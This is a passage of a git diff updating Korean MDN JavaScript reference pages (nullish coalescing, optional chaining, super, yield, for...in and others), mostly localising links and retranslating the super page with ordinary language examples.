 **널 병합 연산자 (`??`)** 는 왼쪽 피연산자가 [null](/ko/docs/Web/JavaScript/Reference/Global_Objects/null) 또는 [undefined](/ko/docs/Web/JavaScript/Reference/Global_Objects/undefined)일 때 오른쪽 피연산자를 반환하고, 그렇지 않으면 왼쪽 피연산자를 반환하는 논리 연산자이다.
 
-이는 왼쪽 피연산자가 `null` 또는 `undefined` 뿐만 아니라 *[falsy](/en-US/docs/Web/JavaScript/Reference/Operators/Logical_Operators#Description) *값에 해당할 경우 오른쪽 피연산자를 반환하는 [논리 연산자 OR (`||`)](/en-US/docs/Web/JavaScript/Reference/Operators/Logical_Operators#Logical_OR_2)와는 대조된다. 다시 말해 만약 어떤 변수 foo에게 *[falsy](/en-US/docs/Web/JavaScript/Reference/Operators/Logical_Operators#Description) *값( `''` 또는 `0`)을 포함한 값을 제공하기 위해 `||`을 사용하는 것을 고려했다면 예기치 않는 동작이 발생할 수 있다. 하단에 더 많은 예제가 있다.
+이는 왼쪽 피연산자가 `null` 또는 `undefined` 뿐만 아니라 _[falsy](/ko/docs/Web/JavaScript/Reference/Operators/Logical_Operators#Description)_ 값에 해당할 경우 오른쪽 피연산자를 반환하는 [논리 연산자 OR (`||`)](/ko/docs/Web/JavaScript/Reference/Operators/Logical_Operators#Logical_OR_2)와는 대조된다. 다시 말해 만약 어떤 변수 foo에게 _[falsy](/ko/docs/Web/JavaScript/Reference/Operators/Logical_Operators#Description)_ 값( `''` 또는 `0`)을 포함한 값을 제공하기 위해 `||`을 사용하는 것을 고려했다면 예기치 않는 동작이 발생할 수 있다. 하단에 더 많은 예제가 있다.
 
 널 병합 연산자는 [연산자 우선 순위](/ko/docs/Web/JavaScript/Reference/Operators/Operator_Precedence)가 다섯번째로 낮은데, `||` 의 바로 아래이며 [조건부 (삼항) 연산자](/ko/docs/Web/JavaScript/Reference/Operators/Conditional_Operator)의 바로 위이다.
 
@@ -26,7 +26,7 @@ original_slug: Web/JavaScript/Reference/Operators/Nullish_coalescing_operator
 
 ### 변수에 기본값 할당
 
-이전에는 변수에 기본값을 할당하고 싶을 때, 논리 연산자 OR ([`||`](/en-US/docs/Web/JavaScript/Reference/Operators/Logical_Operators#Logical_OR_2))을 사용하는 것이 일반적인 패턴이다:
+이전에는 변수에 기본값을 할당하고 싶을 때, 논리 연산자 OR ([`||`](/ko/docs/Web/JavaScript/Reference/Operators/Logical_Operators#Logical_OR_2))을 사용하는 것이 일반적인 패턴이다:
 
 ```js
 let foo;
@@ -83,7 +83,7 @@ console.log( B() ?? C() );
 
 ### No chaining with AND or OR operators
 
-AND (`&&`) 와 OR 연산자 (`||`)를 `??`와 직접적으로 결합하여 사용하는 것은 불가능하다. 이 경우 [`SyntaxError`](/en-US/docs/Web/JavaScript/Reference/Global_Objects/SyntaxError)가 발생된다.
+AND (`&&`) 와 OR 연산자 (`||`)를 `??`와 직접적으로 결합하여 사용하는 것은 불가능하다. 이 경우 [`SyntaxError`](/ko/docs/Web/JavaScript/Reference/Global_Objects/SyntaxError)가 발생된다.
 
 ```js
 null || undefined ?? "foo"; // raises a SyntaxError
@@ -98,7 +98,7 @@ true || undefined ?? "foo"; // raises a SyntaxError
 
 ### Optional chaining 연산자(`?.`)와의 관계
 
-널 병합 연산자는 명확한 값으로 `undefined`과 `null`을 처리하고, [optional chaining 연산자 (`?.`)](/en-US/docs/Web/JavaScript/Reference/Operators/Optional_chaining)는 `null` or `undefined`일 수 있는 객체의 속성에 접근할 때 유용하다.
+널 병합 연산자는 명확한 값으로 `undefined`과 `null`을 처리하고, [optional chaining 연산자 (`?.`)](/ko/docs/Web/JavaScript/Reference/Operators/Optional_chaining)는 `null` or `undefined`일 수 있는 객체의 속성에 접근할 때 유용하다.
 
 ```js
 let foo = { someFooProp: "hi" };
@@ -142,6 +142,6 @@ console.log(newObj.propC); // 42
 
 ## 참고
 
-- [The optional chaining operator](/en-US/docs/Web/JavaScript/Reference/Operators/Optional_chaining)
-- [The logical OR (`||`) operator](/en-US/docs/Web/JavaScript/Reference/Operators/Logical_Operators#Logical_OR_2)
-- [Default paramaters in functions](/en-US/docs/Web/JavaScript/Reference/Functions/Default_parameters)
+- [The optional chaining operator](/ko/docs/Web/JavaScript/Reference/Operators/Optional_chaining)
+- [The logical OR (`||`) operator](/ko/docs/Web/JavaScript/Reference/Operators/Logical_Operators#Logical_OR_2)
+- [Default paramaters in functions](/ko/docs/Web/JavaScript/Reference/Functions/Default_parameters)
diff --git a/files/ko/web/javascript/reference/operators/optional_chaining/index.md b/files/ko/web/javascript/reference/operators/optional_chaining/index.md
index 8694ffbe3a5800..9417756c46527c 100644
--- a/files/ko/web/javascript/reference/operators/optional_chaining/index.md
+++ b/files/ko/web/javascript/reference/operators/optional_chaining/index.md
@@ -67,7 +67,7 @@ let result = someInterface.customMethod?.();
 
 #### optional callbacks과 event handlers 다루기
 
-만약 객체에서 [destructuring assignment](/en-US/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment#object_destructuring)로 callbacks 또는 fetch 메서드를 사용한다면, 그 존재 여부를 테스트하지 않으면 함수로 호출할 수 없는 존재 하지 않는 값을 가질 수 있다. `?.`을 사용하면, 다음 추가 테스트를 피할 수 있다:
+만약 객체에서 [destructuring assignment](/ko/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment#object_destructuring)로 callbacks 또는 fetch 메서드를 사용한다면, 그 존재 여부를 테스트하지 않으면 함수로 호출할 수 없는 존재 하지 않는 값을 가질 수 있다. `?.`을 사용하면, 다음 추가 테스트를 피할 수 있다:
 
 ```js
 // Written as of ES2019
@@ -97,13 +97,13 @@ function doSomething(onContent, onError) {
 
 ### 표현식에서 Optional chaining
 
-optional chaining 연산자를 속성에 표현식으로 접근할 때 대괄호 표기법([the bracket notation of the property accessor](/en-US/docs/Web/JavaScript/Reference/Operators/Property_Accessors#bracket_notation))을 사용할 수 있다:
+optional chaining 연산자를 속성에 표현식으로 접근할 때 대괄호 표기법([the bracket notation of the property accessor](/ko/docs/Web/JavaScript/Reference/Operators/Property_Accessors#bracket_notation))을 사용할 수 있다:
 
 ```js
 let nestedProp = obj?.['prop' + 'Name'];
 ```
 
-### Optional chaining은 할당자 왼쪽에서 유효하지 않습니다.
+### Optional chaining은 할당자 왼쪽에서 유효하지 않습니다
 
 ```js
 let object = {};
diff --git a/files/ko/web/javascript/reference/operators/spread_syntax/index.md b/files/ko/web/javascript/reference/operators/spread_syntax/index.md
index 19cb780c51d162..377337c59f0a40 100644
--- a/files/ko/web/javascript/reference/operators/spread_syntax/index.md
+++ b/files/ko/web/javascript/reference/operators/spread_syntax/index.md
@@ -231,5 +231,5 @@ var array = [...obj]; // TypeError: obj is not iterable
 
 ## 같이 보기
 
-- [나머지 매개변수](/ko/docs/Web/JavaScript/Reference/Functions/rest_parameters) (또한 ‘`...`’)
-- [fn.apply](/ko/docs/Web/JavaScript/Reference/Global_Objects/Function/apply) (또한 ‘`...`’)
+- [나머지 매개변수](/ko/docs/Web/JavaScript/Reference/Functions/rest_parameters) (또한 '`...`')
+- [fn.apply](/ko/docs/Web/JavaScript/Reference/Global_Objects/Function/apply) (또한 '`...`')
diff --git a/files/ko/web/javascript/reference/operators/super/index.md b/files/ko/web/javascript/reference/operators/super/index.md
index 4335a9d7a69b87..67017ba27e8030 100644
--- a/files/ko/web/javascript/reference/operators/super/index.md
+++ b/files/ko/web/javascript/reference/operators/super/index.md
@@ -1,148 +1,335 @@
 ---
 title: super
 slug: Web/JavaScript/Reference/Operators/super
+l10n:
+  sourceCommit: 0f3738f6b1ed1aa69395ff181207186e1ad9f4d8
 ---
 
 {{jsSidebar("Operators")}}
 
-**super** 키워드는 부모 오브젝트의 함수를 호출할 때 사용됩니다.
+**`super`** 키워드는 객체 리터럴 또는 클래스의 [[Prototype]] 속성에 접근하거나 슈퍼클래스의 생성자를 호출하는 데 사용됩니다.
 
-`super.prop` 와 `super[expr]` 표현식은 [클래스](/ko/docs/Web/JavaScript/Reference/Classes) 와 [객체리터럴](/ko/docs/Web/JavaScript/Reference/Operators/Object_initializer)의 어떠한 [메서드 정의](/ko/docs/Web/JavaScript/Reference/Functions/Method_definitions) 방법에서도 유효합니다.
+`super.prop`와 `super[expr]` 표현식은 [클래스](/ko/docs/Web/JavaScript/Reference/Classes)와 [객체 리터럴](/ko/docs/Web/JavaScript/Reference/Operators/Object_initializer)의 [메서드 정의](/ko/docs/Web/JavaScript/Reference/Functions/Method_definitions)에서 모두 사용할 수 있습니다. `super(...args)` 표현식은 클래스 생성자에서 유효합니다.
 
-## 문법
+{{EmbedInteractiveExample("pages/js/expressions-super.html", "taller")}}
 
-```js
-    super([arguments]); // 부모 생성자 호출
-    super.functionOnParent([arguments]);
+## 구문
+
+```js-nolint
+super([arguments]) // 부모 생성자 호출.
+super.propertyOnParent
+super[expression]
 ```
 
 ## 설명
 
-생성자에서는 `super` 키워드 하나만 사용되거나 `this` 키워드가 사용되기 전에 호출되어야 합니다. 또한 `super` 키워드는 부모 객체의 함수를 호출하는데 사용될 수 있습니다.
+`super` 키워드는 "함수 호출"(`super(...args)`) 또는 "속성 조회"(`super.prop`와 `super[expr]`)의 두 가지 방법으로 사용할 수 있습니다.
+
+> **참고:** `super`는 키워드이며 특수한 구문 구조입니다. `super`는 프로토타입 객체를 가리키는 변수가 아닙니다. `super` 자체를 읽으려는 시도는 {{jsxref("SyntaxError")}}입니다.
+>
+> ```js example-bad
+> const child = {
+>   myParent() {
+>     console.log(super); // SyntaxError: 'super' keyword unexpected here
+>   },
+> };
+> ```
+
+파생 클래스(`extends`를 사용)의 [생성자](/ko/docs/Web/JavaScript/Reference/Classes/constructor) 본문에서 `super` 키워드는 "함수 호출"(`super(...args)`)로 나타날 수 있으며 `this` 키워드가 사용되기 전과 생성자가 반환되기 전에 호출되어야 합니다. 부모 클래스의 생성자를 호출하고 부모 클래스의 퍼블릭 필드를 바인딩한 후 파생 클래스의 생성자는 `this`를 추가로 접근하고 수정할 수 있습니다.
+
+"속성 조회" 형식은 객체 리터럴 또는 클래스의 [[Prototype]] 메서드와 속성에 접근하는 데 사용할 수 있습니다. 클래스 본문 내에서 `super`의 참조는 실행 맥락이 인스턴스 생성인지 클래스 초기화인지에 따라 슈퍼클래스의 생성자 자체 이거나 생성자의 `prototype`이 될 수 있습니다. 자세한 내용은 예제 구획을 참조하세요.
+
+`super`의 참조는 메서드가 호출된 객체가 아니라 `super`가 선언된 클래스 또는 객체 리터럴에 의해 결정됩니다. 따라서 메서드를 바인딩 해제하거나 다시 바인딩해도 메서드의 `super` 참조는 변경되지 않습니다.([`this`](/ko/docs/Web/JavaScript/Reference/Operators/this)의 참조는 변경되지만요.) 메서드가 클로저를 생성하는 클래스 또는 객체 리터럴 범위의 변수로 `super`를 볼 수 있습니다. (그러나 위에서 설명한 것처럼 실제로는 변수가 아니라는 점에 유의하세요.)
+
+`super`를 통해 속성을 설정할 때, 속성은 `this`에 대신 설정됩니다.
 
 ## 예제
 
-### 클래스에서 `super` 사용하기
+### 클래스에서 super 사용하기
 
-이 예제는 옆의 링크에서 발췌하였습니다. [classes sample](https://github.com/GoogleChrome/samples/blob/gh-pages/classes-es6/index.html) ([live demo](https://googlechrome.github.io/samples/classes-es6/index.html)).
+이 코드 스니펫은 [클래스 샘플](https://github.com/GoogleChrome/samples/blob/gh-pages/classes-es6/index.html) ([라이브 데모]((https://googlechrome.github.io/samples/classes-es6/index.html)))에서 가져왔습니다. 여기서 `super()`는 `Rectangle`과 `Square` 사이에 공통적인 생성자 부분의 중복을 피하기 위해 호출됩니다.
 
 ```js
-class Polygon {
+class Rectangle {
   constructor(height, width) {
-    this.name = 'Polygon';
+    this.name = "Rectangle";
     this.height = height;
     this.width = width;
   }
   sayName() {
-    console.log('Hi, I am a ', this.name + '.');
+    console.log(`Hi, I am a ${this.name}.`);
+  }
+  get area() {
+    return this.height * this.width;
+  }
+  set area(value) {
+    this._area = value;
   }
 }
 
-class Square extends Polygon {
+class Square extends Rectangle {
   constructor(length) {
-    this.height; // 참조오류가 발생합니다. super가 먼저 호출되어야 합니다.
+    this.height; // ReferenceError, super가 먼저 호출되어야 합니다!
 
-    // 여기서, 부모클래스의 생성자함수를 호출하여 높이값을 넘겨줍니다.
-    // Polygon의 길이와 높이를 넘겨줍니다.
+    // 여기서 Rectangle의 너비와 높이에 대해 제공된
+    // length를 사용하여 부모 클래스의 생성자를 호출합니다.
     super(length, length);
 
-    // 참고: 파생 클래스에서 super() 함수가 먼저 호출되어야
-    // 'this' 키워드를 사용할 수 있습니다. 그렇지 않을 경우 참조오류가 발생합니다.
-    this.name = 'Square';
+    // 참고: 파생 클래스에서 'this'를 사용하려면
+    // 먼저 super()를 호출해야 합니다. 이를 생략하면 참조 오류가 발생합니다.
+    this.name = "Square";
   }
+}
+```
 
-  get area() {
-    return this.height * this.width;
+### super를 호출하는 정적 메서드
+
+[정적](/ko/docs/Web/JavaScript/Reference/Classes/static) 메서드에서도 super를 호출할 수 있습니다.
+
+```js
+class Rectangle {
+  static logNbSides() {
+    return "I have 4 sides";
   }
+}
 
-  set area(value) {
-    this.area = value;
+class Square extends Rectangle {
+  static logDescription() {
+    return `${super.logNbSides()} which are all equal`;
   }
 }
+Square.logDescription(); // 'I have 4 sides which are all equal'
 ```
 
-### 정적 메서드에서 Super 호출
+### 클래스 필드 선언에서 super 접근
 
-[static](/ko/docs/Web/JavaScript/Reference/Classes/static) 메서드에서도 super를 호출할 수 있습니다.
+`super`는 클래스 필드 초기화 중에도 접근할 수 있습니다. `super`의 참조는 현재 필드가 인스턴스 필드인지 정적 필드인지에 따라 다릅니다.
 
 ```js
-class Human {
-  constructor() {}
-  static ping() {
-    return 'ping';
+class Base {
+  static baseStaticField = 90;
+  baseMethod() {
+    return 10;
   }
 }
 
-class Computer extends Human {
-  constructor() {}
-  static pingpong() {
-    return super.ping() + ' pong';
-  }
+class Extended extends Base {
+  extendedField = super.baseMethod(); // 10
+  static extendedStaticField = super.baseStaticField; // 90
 }
-Computer.pingpong(); // 'ping pong'
 ```
 
-### super의 속성 삭제
+인스턴스 필드는 생성자의 `prototype` 대신 인스턴스에 설정되므로 `super`를 사용하여 슈퍼클래스의 인스턴스 필드에 접근할 수 없습니다.
 
-[delete 연산자](/ko/docs/Web/JavaScript/Reference/Operators/delete)를 사용할 수 없으며 `super.prop` 또는 `super[expr]` 표현식을 사용하여 부모 클래스의 속성을 삭제할 경우 {{jsxref("ReferenceError")}} 오류가 발생합니다.
+```js example-bad
+class Base {
+  baseField = 10;
+}
+
+class Extended extends Base {
+  extendedField = super.baseField; // undefined
+}
+```
+
+여기서 `baseField`는 `Base.prototype`이 아니라 `Base` 인스턴스의 자체 속성으로 정의되기 때문에 10이 아닌 `undefined`입니다. 이 맥락에서 `super`는 `Extended.prototype`의 [[Prototype]]이므로 `Base.prototype`의 속성만 조회할 수 있습니다.
+
+### super 속성을 삭제하면 오류가 발생합니다
+
+[`delete` 연산자](/ko/docs/Web/JavaScript/Reference/Operators/delete)와 `super.prop` 또는 `super[expr]`를 사용하여 부모 클래스의 속성을 삭제할 수 없습니다. 삭제하면 {{jsxref("ReferenceError")}}가 발생합니다.
 
 ```js
 class Base {
-  constructor() {}
   foo() {}
 }
-class Derived {
-  constructor() {}
+class Derived extends Base {
   delete() {
-    delete super.foo;
+    delete super.foo; // 이렇게 하면 안됩니다.
   }
 }
 
-new Derived().delete(); // 참조오류: 'super'완 관련된 삭제가 유효하지 않습니다.
+new Derived().delete(); // ReferenceError: invalid delete involving 'super'.
 ```
 
-### `Super.prop`은 non-writable 속성을 덮어 쓸 수 없습니다
+### 객체 리터럴에서 super.prop 사용
 
-예를 들어 {{jsxref("Object.defineProperty")}}로 속성을 정의할 때, `super`의 속성 값을 덮어 쓸 수 없습니다.
+super는 [객체 초기자](/ko/docs/Web/JavaScript/Reference/Operators/Object_initializer) 표기법에서도 사용할 수 있습니다. 이 예제는 두 객체가 메서드 하나를 정의합니다. 두 번째 객체에서 `super`는 첫 번째 객체의 메서드를 호출합니다. 이는 `obj2`의 프로토타입을 `obj1`로 설정할 수 있는 {{jsxref("Object.setPrototypeOf()")}}의 도움으로 작동하므로 `super`는 `obj1`에서 `method1`을 찾을 수 있습니다.
 
 ```js
-class X {
-  constructor() {
-    Object.defineProperty(this, "prop", {
-      configurable: true,
-      writable: false,
-      value: 1
-    });
+const obj1 = {
+  method1() {
+    console.log("method 1");
+  },
+};
+
+const obj2 = {
+  method2() {
+    super.method1();
+  },
+};
+
+Object.setPrototypeOf(obj2, obj1);
+obj2.method2(); // "method 1"이 로그됩니다.
+```
+
+### super.prop을 읽는 메서드는 다른 객체에 바인딩될 때 다르게 동작하지 않습니다
+
+`super.x`에 접근하는 것은 `Reflect.get(Object.getPrototypeOf(objectLiteral), "x", this)`와 같이 동작합니다. 즉, 속성은 항상 객체 리터럴/클래스 선언의 프로토타입에서 검색되고 메서드를 바인딩 해제하고 다시 바인딩해도 `super`의 참조는 변경되지 않습니다.
+
+```js
+class Base {
+  baseGetX() {
+    return 1;
+  }
+}
+class Extended extends Base {
+  getX() {
+    return super.baseGetX();
+  }
+}
+
+const e = new Extended();
+console.log(e.getX()); // 1
+const { getX } = e;
+console.log(getX()); // 1
+```
+
+객체 리터럴에서도 동일하게 동작합니다.
+
+```js
+const parent1 = { prop: 1 };
+const parent2 = { prop: 2 };
+
+const child = {
+  myParent() {
+    console.log(super.prop);
+  },
+};
+
+Object.setPrototypeOf(child, parent1);
+child.myParent(); // "1"이 로그됩니다.
+
+const myParent = child.myParent;
+myParent(); // 여전히 "1"이 로그됩니다.
+
+const anotherChild = { __proto__: parent2, myParent };
+anotherChild.myParent(); // 여전히 "1"이 로그됩니다.
+```
+
+전체 상속 체인을 재설정해야만 `super`의 참조가 변경됩니다.
+
+```js
+class Base {
+  baseGetX() {
+    return 1;
+  }
+  static staticBaseGetX() {
+    return 3;
+  }
+}
+class AnotherBase {
+  baseGetX() {
+    return 2;
+  }
+  static staticBaseGetX() {
+    return 4;
+  }
+}
+class Extended extends Base {
+  getX() {
+    return super.baseGetX();
   }
-  f() {
-    super.prop = 2;
+  static staticGetX() {
+    return super.staticBaseGetX();
   }
 }
 
-var x = new X();
-x.f();
-console.log(x.prop); // 1
+const e = new Extended();
+// 인스턴스 상속 재설정
+Object.setPrototypeOf(Extended.prototype, AnotherBase.prototype);
+console.log(e.getX()); // 프로토타입 체인이 변경되었기 때문에 "1" 대신 "2"가 로그됩니다.
+console.log(Extended.staticGetX()); // 정적 부분을 아직 수정하지 않았기 때문에, 여전히 "3"이 로그됩니다. 
+// 정적 상속 재설정
+Object.setPrototypeOf(Extended, AnotherBase);
+console.log(Extended.staticGetX()); // 이제 "4"가 로그됩니다.
 ```
 
-### 객체 리터럴에서 `super.prop` 사용하기
+### super에서 메서드 호출
 
-Super는 [object initializer / literal](/ko/docs/Web/JavaScript/Reference/Operators/Object_initializer) 표기법에서 사용할 수 있습니다. 아래의 예제에서, 두개의 객체는 메서드를 정의합니다. 두번째 객체에서, `super`는 첫번째 객체의 메서드를 호출합니다. 이 예제는 {{jsxref("Object.setPrototypeOf()")}}를 이용하여 obj2 prototype에 obj1을 세팅하여, `super`가 obj1의 method1을 찾을 수 있도록 합니다.
+`super.prop`을 함수로 호출할 때 `prop` 함수 내부의 `this` 값은 `super`가 가리키는 객체가 아니라 현재 `this`입니다. 예를 들어, `super.getName()` 호출은 코드가 `Base.getName()`과 동일한 것처럼 보이지만 `"Extended"`를 로그합니다.
 
 ```js
-var obj1 = {
-  method1() {
-    console.log("method 1");
+class Base {
+  static getName() {
+    console.log(this.name);
   }
 }
 
-var obj2 = {
-  method2() {
-   super.method1();
+class Extended extends Base {
+  static getName() {
+    super.getName();
   }
 }
 
-Object.setPrototypeOf(obj2, obj1);
-obj2.method2(); // logs "method 1"
+Extended.getName(); // "Extended" 로그
+```
+
+이는 [정적 프라이빗 속성](/ko/docs/Web/JavaScript/Reference/Classes/Private_class_fields#private_static_fields)과 상호 작용할 때 특히 중요합니다.
+
+### super.prop을 설정하면 this 속성이 대신 설정됩니다
+
+`super.x = 1`과 같은 `super`의 속성을 설정하는 것은 `Reflect.set(Object.getPrototypeOf(objectLiteral), "x", 1, this)`와 같이 동작합니다. 이는 `super`를 단순히 "프로토타입 객체의 참조"로 이해하는 것에 한계가 있는 이유 중 하나입니다. 실제로는 `this`에 대한 속성을 설정하기 때문이죠.
+
+```js
+class A {}
+class B extends A {
+  setX() {
+    super.x = 1;
+  }
+}
+
+const b = new B();
+b.setX();
+console.log(b); // B { x: 1 }
+console.log(Object.hasOwn(b, "x")); // true
+```
+
+`super.x = 1`은 `A.prototype`에서 `x`의 속성 설명자를 찾습니다(그리고 거기에 정의된 setter를 호출하죠.). 하지만 `this` 값은 이 맥락에서 `b`로 설정됩니다. `target`과 `receiver`가 다른 경우에 대한 자세한 내용은 [`Reflect.set`](/ko/docs/Web/JavaScript/Reference/Global_Objects/Reflect/set)을 참조하세요.
+
+즉, `super.prop`를 *get*하는 메서드는 일반적으로 이 맥락의 변경에 영향을 받지 않지만 `super.prop`를 *set*하는 메서드는 영향을 받을 수 있습니다.
+
+```js example-bad
+/* 위와 동일한 선언 재사용 */
+
+const b2 = new B();
+b2.setX.call(null); // TypeError: Cannot assign to read only property 'x' of object 'null'
+```
+
+그러나 `super.x = 1`은 여전히 프로토타입 객체의 속성 설명자를 참조하므로, 쓸 수 없는 속성을 다시 작성할 수 없으며 setter가 호출됩니다.
+
+```js
+class X {
+  constructor() {
+    // 쓸 수 없는 속성 생성
+    Object.defineProperty(this, "prop", {
+      configurable: true,
+      writable: false,
+      value: 1,
+    });
+  }
+}
+
+class Y extends X {
+  constructor() {
+    super();
+  }
+  foo() {
+    super.prop = 2; // 값을 덮어쓸 수 없습니다.
+  }
+}
+
+const y = new Y();
+y.foo(); // TypeError: "prop" is read-only
+console.log(y.prop); // 1
 ```
 
 ## 명세서
@@ -153,6 +340,6 @@ obj2.method2(); // logs "method 1"
 
 {{Compat}}
 
-## 참고
+## 같이 보기
 
-- [Classes](/ko/docs/Web/JavaScript/Reference/Classes)
+- [클래스](/ko/docs/Web/JavaScript/Reference/Classes)
diff --git a/files/ko/web/javascript/reference/operators/yield/index.md b/files/ko/web/javascript/reference/operators/yield/index.md
index 7c786cfa9fd4cc..00ed3307bcb24b 100644
--- a/files/ko/web/javascript/reference/operators/yield/index.md
+++ b/files/ko/web/javascript/reference/operators/yield/index.md
@@ -5,7 +5,7 @@ slug: Web/JavaScript/Reference/Operators/yield
 
 {{jsSidebar("Operators")}}
 
-`yield` 키워드는 제너레이터 함수 ({{jsxref("Statements/function*", "function*")}} 또는 [레거시 generator](/en-US/docs/Web/JavaScript/Reference/Statements/Legacy_generator_function) 함수)를 중지하거나 재개하는데 사용됩니다.
+`yield` 키워드는 제너레이터 함수 ({{jsxref("Statements/function*", "function*")}} 또는 [레거시 generator](/ko/docs/Web/JavaScript/Reference/Statements/Legacy_generator_function) 함수)를 중지하거나 재개하는데 사용됩니다.
 
 ## 문법
 
@@ -14,7 +14,7 @@ slug: Web/JavaScript/Reference/Operators/yield
 ```
 
 - `expression`
-  - : 제너레이터 함수에서 [제너레이터 프로토콜](/en-US/docs/Web/JavaScript/Reference/Iteration_protocols#iterator)을 통해 반환할 값을 정의합니다. 값이 생략되면, `undefined를 반환합니다.`
+  - : 제너레이터 함수에서 [제너레이터 프로토콜](/ko/docs/Web/JavaScript/Reference/Iteration_protocols#iterator)을 통해 반환할 값을 정의합니다. 값이 생략되면, `undefined를 반환합니다.`
 - `rv`
   - : 제너레이터 실행을 재개 하기 위해서, optional value을 제너레이터의 `next()` 메서드로 전달하여 반환합니다.
 
@@ -69,7 +69,7 @@ console.log(iterator.next()); // { value: undefined, done: true }
 
 ## See also
 
-- [The Iterator protocol](/en-US/docs/Web/JavaScript/Guide/The_Iterator_protocol)
+- [The Iterator protocol](/ko/docs/Web/JavaScript/Guide/The_Iterator_protocol)
 - {{jsxref("Statements/function*", "function*")}}
 - {{jsxref("Operators/function*", "function* expression")}}
 - {{jsxref("Operators/yield*", "yield*")}}
diff --git a/files/ko/web/javascript/reference/operators/yield_star_/index.md b/files/ko/web/javascript/reference/operators/yield_star_/index.md
index 664056f7a97fde..1e255fcdb0c90e 100644
--- a/files/ko/web/javascript/reference/operators/yield_star_/index.md
+++ b/files/ko/web/javascript/reference/operators/yield_star_/index.md
@@ -112,7 +112,7 @@ console.log(result);          // "foo"
 
 ## 같이 보기
 
-- [The Iterator protocol](/en-US/docs/Web/JavaScript/Guide/The_Iterator_protocol)
+- [The Iterator protocol](/ko/docs/Web/JavaScript/Guide/The_Iterator_protocol)
 - {{jsxref("Statements/function*", "function*")}}
 - {{jsxref("Operators/function*", "function* expression")}}
 - {{jsxref("Operators/yield", "yield")}}
diff --git a/files/ko/web/javascript/reference/statements/for-await...of/index.md b/files/ko/web/javascript/reference/statements/for-await...of/index.md
index a4fed939228502..fe27de29a60d55 100644
--- a/files/ko/web/javascript/reference/statements/for-await...of/index.md
+++ b/files/ko/web/javascript/reference/statements/for-await...of/index.md
@@ -4,7 +4,7 @@ slug: Web/JavaScript/Reference/Statements/for-await...of
 ---
 {{jsSidebar("Statements")}}
 
-**`for await...of` 구문**은 보통 비동기에 대응하는 열거자를 나열할 때 쓰이지만, {{jsxref("String")}}, {{jsxref("Array")}}, `Array` 같은 객체 (e.g., {{jsxref("Functions/arguments", "arguments")}} or [`NodeList`](/en-US/docs/Web/API/NodeList)), {{jsxref("TypedArray")}}, {{jsxref("Map")}}, {{jsxref("Set")}} 같은 동기적으로 열거 가능한 객체 또한 가능하며, 사용자가 직접 정의한 동기 또는 비동기 객체도 나열할 수 있도록 해준다. 일반적인 **`for ...of`** 문과 마찬가지로 열거자 심볼이 정의한 속성을 실행하게 되어 열거한 값을 변수로 받아 처리한다.
+**`for await...of` 구문**은 보통 비동기에 대응하는 열거자를 나열할 때 쓰이지만, {{jsxref("String")}}, {{jsxref("Array")}}, `Array` 같은 객체 (e.g., {{jsxref("Functions/arguments", "arguments")}} or [`NodeList`](/ko/docs/Web/API/NodeList)), {{jsxref("TypedArray")}}, {{jsxref("Map")}}, {{jsxref("Set")}} 같은 동기적으로 열거 가능한 객체 또한 가능하며, 사용자가 직접 정의한 동기 또는 비동기 객체도 나열할 수 있도록 해준다. 일반적인 **`for ...of`** 문과 마찬가지로 열거자 심볼이 정의한 속성을 실행하게 되어 열거한 값을 변수로 받아 처리한다.
 
 ## 구문
 
diff --git a/files/ko/web/javascript/reference/statements/for...in/index.md b/files/ko/web/javascript/reference/statements/for...in/index.md
index 3db6edb3ec0712..3434f2c9dc8a9e 100644
--- a/files/ko/web/javascript/reference/statements/for...in/index.md
+++ b/files/ko/web/javascript/reference/statements/for...in/index.md
@@ -5,7 +5,7 @@ slug: Web/JavaScript/Reference/Statements/for...in
 
 {{jsSidebar("Statements")}}
 
-`for...in`문은 상속된 열거 가능한 속성들을 포함하여 객체에서 문자열로 키가 지정된 모든 열거 가능한 속성에 대해 반복합니다. ([Symbol](/en-US/docs/Web/JavaScript/Reference/Global_Objects/Symbol)로 키가 지정된 속성은 무시합니다.)
+`for...in`문은 상속된 열거 가능한 속성들을 포함하여 객체에서 문자열로 키가 지정된 모든 열거 가능한 속성에 대해 반복합니다. ([Symbol](/ko/docs/Web/JavaScript/Reference/Global_Objects/Symbol)로 키가 지정된 속성은 무시합니다.)
 
 {{EmbedInteractiveExample("pages/js/statement-forin.html")}}
 
@@ -127,7 +127,7 @@ for (var i = 0 in obj) {
 // 3
 ```
 
-This nonstandard behavior is now ignored in version 40 and later, and will present a {{jsxref("SyntaxError")}} ("[for-in loop head declarations may not have initializers](/en-US/docs/Web/JavaScript/Reference/Errors/Invalid_for-in_initializer)") error in [strict mode](/en-US/docs/Web/JavaScript/Reference/Strict_mode) ([bug 748550](https://bugzilla.mozilla.org/show_bug.cgi?id=748550) and [bug 1164741](https://bugzilla.mozilla.org/show_bug.cgi?id=1164741)).
+This nonstandard behavior is now ignored in version 40 and later, and will present a {{jsxref("SyntaxError")}} ("[for-in loop head declarations may not have initializers](/ko/docs/Web/JavaScript/Reference/Errors/Invalid_for-in_initializer)") error in [strict mode](/ko/docs/Web/JavaScript/Reference/Strict_mode) ([bug 748550](https://bugzilla.mozilla.org/show_bug.cgi?id=748550) and [bug 1164741](https://bugzilla.mozilla.org/show_bug.cgi?id=1164741)).
 
 Other engines such as v8 (Chrome), Chakra (IE/Edge), and JSC (WebKit/Safari) are
 investigating whether to remove the nonstandard behavior as well.
@@ -137,8 +137,8 @@ investigating whether to remove the nonstandard behavior as well.
 - {{jsxref("Statements/for...of", "for...of")}} – a similar statement that iterates
   over the property _values_
 - {{jsxref("Statements/for", "for")}}
-- [Iterators and Generator functions](/en-US/docs/Web/JavaScript/Guide/Iterators_and_Generators) (usable with `for...of` syntax)
-- [Enumerability and ownership of properties](/en-US/docs/Web/JavaScript/Enumerability_and_ownership_of_properties)
+- [Iterators and Generator functions](/ko/docs/Web/JavaScript/Guide/Iterators_and_Generators) (usable with `for...of` syntax)
+- [Enumerability and ownership of properties](/ko/docs/Web/JavaScript/Enumerability_and_ownership_of_properties)
 - {{jsxref("Object.getOwnPropertyNames()")}}
 - {{jsxref("Object.hasOwn()")}}
 - {{jsxref("Array.prototype.forEach()")}}
diff --git a/files/ko/web/javascript/reference/statements/for...of/index.md b/files/ko/web/javascript/reference/statements/for...of/index.md
index 16392ce2ab5d08..f25a4787c44c89 100644
--- a/files/ko/web/javascript/reference/statements/for...of/index.md
+++ b/files/ko/web/javascript/reference/statements/for...of/index.md
@@ -24,7 +24,7 @@ slug: Web/JavaScript/Reference/Statements/for...of
 
